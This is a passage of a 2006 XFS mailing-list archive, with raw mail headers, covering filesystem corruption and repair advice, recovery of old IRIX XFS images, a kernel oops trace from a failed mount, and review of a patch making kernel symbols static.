Oct 2006 06:10:50 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by lucidpixels.com (Postfix) with ESMTP id 0724F16191681; Mon, 16 Oct 2006 06:10:49 -0400 (EDT) Date: Mon, 16 Oct 2006 06:10:49 -0400 (EDT) From: Justin Piszcz X-X-Sender: jpiszcz@p34.internal.lan To: Jason White cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: FS corruption and repair problem Subject: Re: FS corruption and repair problem In-Reply-To: <20061016082532.GA5574@jdc> Message-ID: References: <20061016082532.GA5574@jdc> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23384 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9302 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jpiszcz@lucidpixels.com Precedence: bulk X-list: xfs Status: O On Mon, 16 Oct 2006, Jason White wrote: > This is my desktop system, running kernel 2.6.17.11. Kernel 2.6.17 was > previously installed, but I upgraded several weeks ago after I found out about > the corruption bug in 2.6.17, which may or may not be related to the > following. > > The file system was shut down during a Debian package upgrade while trying to > access apt-related files. I booted into an old 2.4 kernel on a separate > partition and ran an old version of xfs_repair. The output is attached. > Xfs_repair terminated abnormally (see the end of the output). > > I can copy a newer version of xfs_repair to the backup partition if that would > help, though I'm not sure which libraries to copy along with it. > > Also, if there is any indication of what might have caused this I would be > interested, as this hasn't happened before and I'de especially like to find > out whether it is a hardware problem, or related to the current kernel, or > indeed a manifestation of the 2.6.17 bug. I've successfully mounted the > corrupted file system and a lot of it is still relatively intact - plenty of > files in lost+found, especially from the /usr/share/man3 directory for obvious > reasons. > > It's a straightforward desktop machine with an IDE drive. I haven't updated > Debian packages on here for a while, so it isn't clear when the corruption > happened. > > Most likely if you booted and mounted the partition r/w with 2.6.17(.1-.6) then it is most likely a result of that. Either follow the instructions on the XFS FAQ on how to fix the problem or re-install and bypass 2.6.17-2.6.17.6. Backup your data first if possible before you do anything! Justin. From owner-xfs@oss.sgi.com Mon Oct 16 03:51:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 03:51:30 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GApHaG020018 for ; Mon, 16 Oct 2006 03:51:18 -0700 X-ASG-Debug-ID: 1160992334-25268-227-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from albatross.madduck.net (armagnac.ifi.unizh.ch [130.60.75.72]) by cuda.sgi.com (Spam Firewall) with ESMTP id BA06F4AB901 for ; Mon, 16 Oct 2006 02:52:15 -0700 (PDT) Received: from localhost (albatross.madduck.net [127.0.0.1]) by albatross.madduck.net (postfix) with ESMTP id EE13C895D7D for ; Mon, 16 Oct 2006 11:52:02 +0200 (CEST) Received: from albatross.madduck.net ([127.0.0.1]) by localhost (albatross.madduck.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 07409-02 for ; Mon, 16 Oct 2006 11:52:02 +0200 (CEST) Received: from wall.oerlikon.madduck.net (84-72-16-145.dclient.hispeed.ch [84.72.16.145]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "wall.oerlikon.madduck.net", Issuer "CAcert Class 3 Root" (verified OK)) by albatross.madduck.net (postfix) with ESMTP id A866F895D79 for ; Mon, 16 Oct 2006 11:52:02 +0200 (CEST) Received: from piper.oerlikon.madduck.net (piper.oerlikon.madduck.net [192.168.14.3]) by wall.oerlikon.madduck.net (Postfix) with ESMTP id A78F3403C for ; Mon, 16 Oct 2006 11:52:07 +0200 (CEST) Received: by piper.oerlikon.madduck.net (Postfix, from userid 1000) id 949E9100A924; Mon, 16 Oct 2006 11:52:05 +0200 (CEST) Date: Mon, 16 Oct 2006 11:52:05 +0200 From: martin f krafft To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: FS corruption and repair problem Subject: Re: FS corruption and repair problem Message-ID: <20061016095205.GA9000@piper.madduck.net> Mail-Followup-To: xfs@oss.sgi.com References: <20061016082532.GA5574@jdc> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="AhhlLboLdkugWU4S" Content-Disposition: inline In-Reply-To: <20061016082532.GA5574@jdc> X-OS: Debian GNU/Linux testing/unstable kernel 2.6.17-2-amd64 x86_64 X-Motto: Keep the good times rollin' X-Subliminal-Message: debian/rules! X-Spamtrap: madduck.bogus@madduck.net User-Agent: Mutt/1.5.13 (2006-08-11) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23384 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9303 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: madduck@madduck.net Precedence: bulk X-list: xfs Status: O --AhhlLboLdkugWU4S Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable also sprach Jason White [2006.10.16.1025 +0200]: > The file system was shut down during a Debian package upgrade while tryin= g to > access apt-related files. I booted into an old 2.4 kernel on a separate > partition and ran an old version of xfs_repair. The output is attached. > Xfs_repair terminated abnormally (see the end of the output). FYI: http://blog.madduck.net/geek/2006.08.09-through-with-xfs http://blog.madduck.net/geek/2006.08.11-xfs-zeroes http://blog.madduck.net/geek/2006.08.30-lvm-for-filesystem-recovery You may be able to rescue the filesystem with xfs_dump and xfs_restore via a separate storage medium. --=20 martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck =20 spamtraps: madduck.bogus@madduck.net =20 http://lavender.cime.net/~ricky/badgers.txt --AhhlLboLdkugWU4S Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature (GPG/PGP) Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQFFM1ZFIgvIgzMMSnURAstjAJ0RJsKeSF1PURiHwXuH8nOU5skL6gCgrbxR fwF/h4VvomC3WBk2yqRcKhI= =L+KK -----END PGP SIGNATURE----- --AhhlLboLdkugWU4S-- From owner-xfs@oss.sgi.com Mon Oct 16 04:34:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 04:34:58 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GBYiaG031608 for ; Mon, 16 Oct 2006 04:34:45 -0700 X-ASG-Debug-ID: 1160994855-21987-423-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.187]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8DDB24AEFE8 for ; Mon, 16 Oct 2006 03:34:16 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id n29so1590073nfc for ; Mon, 16 Oct 2006 03:34:15 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type; b=WKWmv1Ij1cqmYpjfD0UeEA2c5R9g0hzJOz7cIK+HBaqieBeqXHmD5KRq4otCV8buv9709DfhhjXvwM5kkjfTORHClqWkSIN9VwHMqgfZFMIwJz1tD6MyNs4VDnNzITmY4+2JLb8F81KDUO2wBHRymSumNNpFflSOG3E0mS6Nv3c= Received: by 10.82.101.3 with SMTP id y3mr887922bub; Mon, 16 Oct 2006 02:32:19 -0700 (PDT) Received: by 10.82.114.16 with HTTP; Mon, 16 Oct 2006 02:32:19 -0700 (PDT) Message-ID: <2117b660610160232p1ffb28e0necfeeb377b5d4ead@mail.gmail.com> Date: Mon, 16 Oct 2006 11:32:19 +0200 From: "Honza Fikar" To: xfs@oss.sgi.com X-ASG-Orig-Subj: recover xfs with v1 dirs on linux? Subject: recover xfs with v1 dirs on linux? MIME-Version: 1.0 X-Barracuda-Spam-Score: 0.94 X-Barracuda-Spam-Status: No, SCORE=0.94 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_10_20 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23387 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.94 HTML_10_20 BODY: Message is 10% to 20% HTML Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 797 X-archive-position: 9304 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: j.fikar@gmail.com Precedence: bulk X-list: xfs Status: O Hi everybody, I want to recover old SGI Irix xfs disks, but I don't have any more the old hardware. I was able to copy the xfs partition in a file with dd and I could run xfs_recover, xfs_check and xfs_ncheck, which gives me the filenames. But I was not able to mount this file. Kernel 2.6.17 gives "Function not implemented", while 2.6.5 mounts, but the disk looks empty. I think the reason is "v1 dirs": file img4.xfs img4.xfs: SGI XFS filesystem data (blksz 4096, inosz 256, v1 dirs) Is there a way to get the files? I have the innode numbers and filenames as an output of xfs_ncheck: .... 947364 abc/MIXDUM/MD110/20K/step9/dynrt.out.gz 184821 aa/Monteal/fmd3kev-45K/cluster.I.076.gz 1286273 abc/MIXDUM/MD111/250K/step10/dyn5.f1.gz ... Thank you, Jan [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Mon Oct 16 06:50:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 06:50:14 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GDo3aG017289 for ; Mon, 16 Oct 2006 06:50:05 -0700 X-ASG-Debug-ID: 1161006560-1305-97-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id D968AD198454 for ; Mon, 16 Oct 2006 06:49:20 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 9B1E618D903AA; Mon, 16 Oct 2006 08:49:19 -0500 (CDT) Message-ID: <45338DDE.8020903@sandeen.net> Date: Mon, 16 Oct 2006 08:49:18 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Timothy Shimmin CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> In-Reply-To: <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23394 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9305 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Timothy Shimmin wrote: > Okay, started looking :-) > > Some comments below... > > --Tim Thanks Tim! :) >> --- xfs-linux.orig/linux-2.4/xfs_vnode.c >> +++ xfs-linux/linux-2.4/xfs_vnode.c >> @@ -17,7 +17,7 @@ >> #include "xfs.h" >> >> uint64_t vn_generation; /* vnode generation number */ >> -spinlock_t vnumber_lock = SPIN_LOCK_UNLOCKED; >> +static spinlock_t vnumber_lock = SPIN_LOCK_UNLOCKED; >> > > Not STATIC? Curious. Yeah, probably should be; IIRC there were other "statics" in that file, was just following the convention. I'll make sure it builds OK w/ STATIC and send an updated patch (need to do that anyway). > Yep for all xfs_iext_ funcs. > > Well actually it looks like xfs_bmap.c uses these: > -------------------- > xfs_iext_add > xfs_iext_bno_to_ext > xfs_iext_get_ext > xfs_iext_insert > xfs_iext_remove > --------------------- > > So I'm not sure why some are still here... > xfs_iext_destroy Exported... maybe you can tell me why? :) > xfs_iext_idx_to_irec Same deal. > xfs_iext_realloc (only exists in header???) Odd, missed that one, guess it can go too? Maybe others lurk as well. Thanks! -Eric > --Tim > > > From owner-xfs@oss.sgi.com Mon Oct 16 06:54:01 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 06:54:11 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GDrxaG017924 for ; Mon, 16 Oct 2006 06:54:00 -0700 X-ASG-Debug-ID: 1161006795-7389-73-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5ED3FD196C52 for ; Mon, 16 Oct 2006 06:53:15 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 849C618D903AA; Mon, 16 Oct 2006 08:53:14 -0500 (CDT) Message-ID: <45338EC9.9010501@sandeen.net> Date: Mon, 16 Oct 2006 08:53:13 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Honza Fikar CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: recover xfs with v1 dirs on linux? Subject: Re: recover xfs with v1 dirs on linux? References: <2117b660610160232p1ffb28e0necfeeb377b5d4ead@mail.gmail.com> In-Reply-To: <2117b660610160232p1ffb28e0necfeeb377b5d4ead@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9306 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Honza Fikar wrote: > Hi everybody, > > I want to recover old SGI Irix xfs disks, but I don't have any more the old > hardware. I was able to copy the xfs partition in a file with dd and I could > run xfs_recover, xfs_check and xfs_ncheck, which gives me the filenames. But > I was not able to mount this file. Kernel 2.6.17 gives "Function not > implemented", while 2.6.5 mounts, but the disk looks empty. > > I think the reason is "v1 dirs": > > file img4.xfs > img4.xfs: SGI XFS filesystem data (blksz 4096, inosz 256, v1 dirs) > > Is there a way to get the files? I have the innode numbers and filenames as > an output of xfs_ncheck: > .... > 947364 abc/MIXDUM/MD110/20K/step9/dynrt.out.gz > 184821 aa/Monteal/fmd3kev-45K/cluster.I.076.gz > 1286273 abc/MIXDUM/MD111/250K/step10/dyn5.f1.gz > ... v1dir support was removed a short while ago, they never really worked on Linux. http://oss.sgi.com/projects/xfs/faq.html#useirixxfs Older kernels had rudimentary v1 support, and you may find some degree of functionality, or, as it seems in your case, no functionality at all. If this is terribly important data, then some finite amount of work (involving a patched glibc, IIRC) might be able to get you going. -Eric From owner-xfs@oss.sgi.com Mon Oct 16 07:16:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 07:16:30 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GEGJaG021076 for ; Mon, 16 Oct 2006 07:16:20 -0700 X-ASG-Debug-ID: 1161008136-7182-573-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id D529DD134415 for ; Mon, 16 Oct 2006 07:15:36 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id EA4F51809E77A; Mon, 16 Oct 2006 08:58:02 -0500 (CDT) Message-ID: <45338FEA.3060709@sandeen.net> Date: Mon, 16 Oct 2006 08:58:02 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Jason White CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: FS corruption and repair problem Subject: Re: FS corruption and repair problem References: <20061016082532.GA5574@jdc> In-Reply-To: <20061016082532.GA5574@jdc> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9307 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Jason White wrote: > This is my desktop system, running kernel 2.6.17.11. Kernel 2.6.17 was > previously installed, but I upgraded several weeks ago after I found out about > the corruption bug in 2.6.17, which may or may not be related to the > following. > > The file system was shut down during a Debian package upgrade while trying to > access apt-related files. I booted into an old 2.4 kernel on a separate > partition and ran an old version of xfs_repair. The output is attached. > Xfs_repair terminated abnormally (see the end of the output). The original reason for the shutdown would probably be interesting here, that's missing information about the first problem you encountered. But, from the repair output, it looks like corrupted directory data on disk, hard to say when/why it occurred. Newer repair is always a good idea, but if the directory is badly corrupted then there's not a lot of magic to be done. -Eric From owner-xfs@oss.sgi.com Mon Oct 16 13:34:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 13:34:50 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GKYcaG016843 for ; Mon, 16 Oct 2006 13:34:40 -0700 X-ASG-Debug-ID: 1161026221-20778-546-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by cuda.sgi.com (Spam Firewall) with SMTP id 6CEBA4AC499 for ; Mon, 16 Oct 2006 12:17:02 -0700 (PDT) Received: (qmail invoked by alias); 16 Oct 2006 19:16:59 -0000 Received: from port-212-202-77-183.dynamic.qsc.de (EHLO clx) [212.202.77.183] by mail.gmx.net (mp003) with SMTP; 16 Oct 2006 21:16:59 +0200 X-Authenticated: #20522298 From: peyytmek@gmx.de To: xfs@oss.sgi.com X-ASG-Orig-Subj: xfs mounting problem, hdb1 just freezes Subject: xfs mounting problem, hdb1 just freezes Date: Mon, 16 Oct 2006 21:14:35 +0000 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610162114.36314.peyytmek@gmx.de> X-Y-GMX-Trusted: 0 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M, BSF_RULE_7582B, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23399 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 1.05 BSF_RULE_7582B BODY: Custom Rule 7582B 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9308 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: peyytmek@gmx.de Precedence: bulk X-list: xfs Status: O I've got a problem with my xfs-partition after my pc crashed. Every programm that tries to use hdb1 just freezes like mount or even xfs_check (even killall -9 proc-name doesn't help) thats what i get with dmesg. maybe someone of you can understand it. thanks in advance. under this line are the outputs of uname, lspci (ide) and dmesg uname -a Linux CLX 2.6.18-gentoo #7 PREEMPT Wed Oct 4 18:43:12 GMT 2006 i686 AMD Athlon(tm) XP 1800+ GNU/Linux I'm using xfsprogs-2.7.11. lscpi: 00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06) (prog-if 8a [Master SecP PriP]) Subsystem: ASRock Incorporation K7VT2/K7VT6 motherboard Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- inode: 950759 start_block : 0 start_off : 0 blkcnt : 0 extent-state : 0 ------------[ cut here ]------------ kernel BUG at fs/xfs/support/debug.c:57! invalid opcode: 0000 [#1] PREEMPT Modules linked in: CPU: 0 EIP: 0060:[] Not tainted VLI EFLAGS: 00010246 (2.6.18-gentoo #7) EIP is at cmn_err+0xb9/0xe0 eax: 00000000 ebx: 00000297 ecx: ffffffff edx: 00004301 esi: f78c97a0 edi: c064e2e0 ebp: 00000000 esp: f7c9b75c ds: 007b es: 007b ss: 0068 Process mount (pid: 2114, ti=f7c9a000 task=f7c5d050 task.ti=f7c9a000) Stack: c0556f3b c052284a c064e2e0 f7c9b788 f7c9b8f8 f78c97a0 f7c9b93c 00000000 c02dec27 00000000 c0548610 f7cd54c0 000e81e7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000001 00000000 Call Trace: [] xfs_bmap_search_extents+0x117/0x120 [] xfs_bunmapi+0x1d4/0x1db0 [] ide_dma_exec_cmd+0x30/0x40 [] ide_dma_start+0x33/0x50 [] ide_do_request+0x682/0x830 [] ide_end_request+0x14c/0x160 [] mempool_alloc+0x38/0x120 [] mempool_alloc+0x38/0x120 [] as_set_request+0x26/0x80 [] find_lock_page+0x2c/0xc0 [] xfs_bunmapi+0x0/0x1db0 [] xfs_itruncate_finish+0x28f/0x460 [] xfs_inactive+0x668/0xca0 [] xfs_buf_get_flags+0x293/0x4a0 [] xfs_buf_read_flags+0x34/0xa0 [] xfs_trans_read_buf+0x5c/0x3e0 [] xfs_buf_offset+0x44/0x50 [] xfs_fs_clear_inode+0x3e/0xa0 [] clear_inode+0x5a/0xe0 [] generic_delete_inode+0xf6/0x130 [] xlog_recover_process_iunlinks+0x559/0x580 [] xfs_buf_free+0x5b/0x110 [] xlog_recover_finish+0x3d2/0x510 [] xfs_initialize_vnode+0x3ab/0x3c0 [] xfs_iget+0x429/0x737 [] xfs_mountfs+0xe40/0x1060 [] default_wake_function+0x0/0x20 [] __down_failed+0x7/0xc [] generic_unplug_device+0x0/0x40 [] xfs_buf_rele+0x25/0xe0 [] xfs_mount+0x6e1/0xa60 [] xfs_fs_fill_super+0x9d/0x240 [] snprintf+0x2b/0x30 [] disk_name+0x98/0xd0 [] sb_set_blocksize+0x1f/0x50 [] get_sb_bdev+0x13b/0x180 [] xfs_fs_get_sb+0x37/0x40 [] xfs_fs_fill_super+0x0/0x240 [] vfs_kern_mount+0x4c/0xa0 [] do_kern_mount+0x42/0x60 [] do_mount+0x28d/0x730 [] link_path_walk+0x7d/0x100 [] dput+0x23/0x190 [] putname+0x31/0x40 [] do_path_lookup+0xb0/0x2e0 [] getname+0xb1/0x100 [] vfs_stat+0x1f/0x30 [] __get_free_pages+0x34/0x60 [] copy_mount_options+0x44/0x130 [] sys_mount+0x9d/0xe0 [] syscall_call+0x7/0xb Code: e0 e2 64 c0 c7 04 24 3b 6f 55 c0 89 44 24 04 e8 7e 37 de ff 53 9d 89 e0 25 00 e0 ff ff ff 48 14 8b 40 08 a8 08 75 20 85 ed 75 08 <0f> 0b 39 00 b8 ec 52 c0 8b 5c 24 10 8b 74 24 14 8b 7c 24 18 8b EIP: [] cmn_err+0xb9/0xe0 SS:ESP 0068:f7c9b75c <6>Adding 1004020k swap on /dev/hda6. Priority:-1 extents:1 across:1004020k From owner-xfs@oss.sgi.com Mon Oct 16 14:57:58 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 14:58:04 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GLvvaG028470 for ; Mon, 16 Oct 2006 14:57:57 -0700 X-ASG-Debug-ID: 1161035833-23933-40-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id A9341D19842E for ; Mon, 16 Oct 2006 14:57:13 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9GLYZpX019186; Mon, 16 Oct 2006 17:34:35 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9GLYZ2x014635; Mon, 16 Oct 2006 17:34:35 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9GLYYve018953; Mon, 16 Oct 2006 17:34:35 -0400 Message-ID: <4533FAEA.2080500@sandeen.net> Date: Mon, 16 Oct 2006 16:34:34 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Eric Sandeen CC: Timothy Shimmin , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> In-Reply-To: <45338DDE.8020903@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23421 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9309 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Eric Sandeen wrote: > Timothy Shimmin wrote: >> Okay, started looking :-) One other thing, based on the bug on osdl today, some of these larger newly-static functions should probably be marked noinline to keep gcc from doing things we don't want it to... -Eric From owner-xfs@oss.sgi.com Mon Oct 16 16:23:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 16:24:00 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9GNNmaG011100 for ; Mon, 16 Oct 2006 16:23:50 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA24179; Tue, 17 Oct 2006 09:22:56 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9GNMq7Y9135184; Tue, 17 Oct 2006 09:22:53 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9GNMoeb9140165; Tue, 17 Oct 2006 09:22:50 +1000 (AEST) Date: Tue, 17 Oct 2006 09:22:50 +1000 From: David Chinner To: Eric Sandeen Cc: Timothy Shimmin , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <20061016232250.GM11034@melbourne.sgi.com> References: 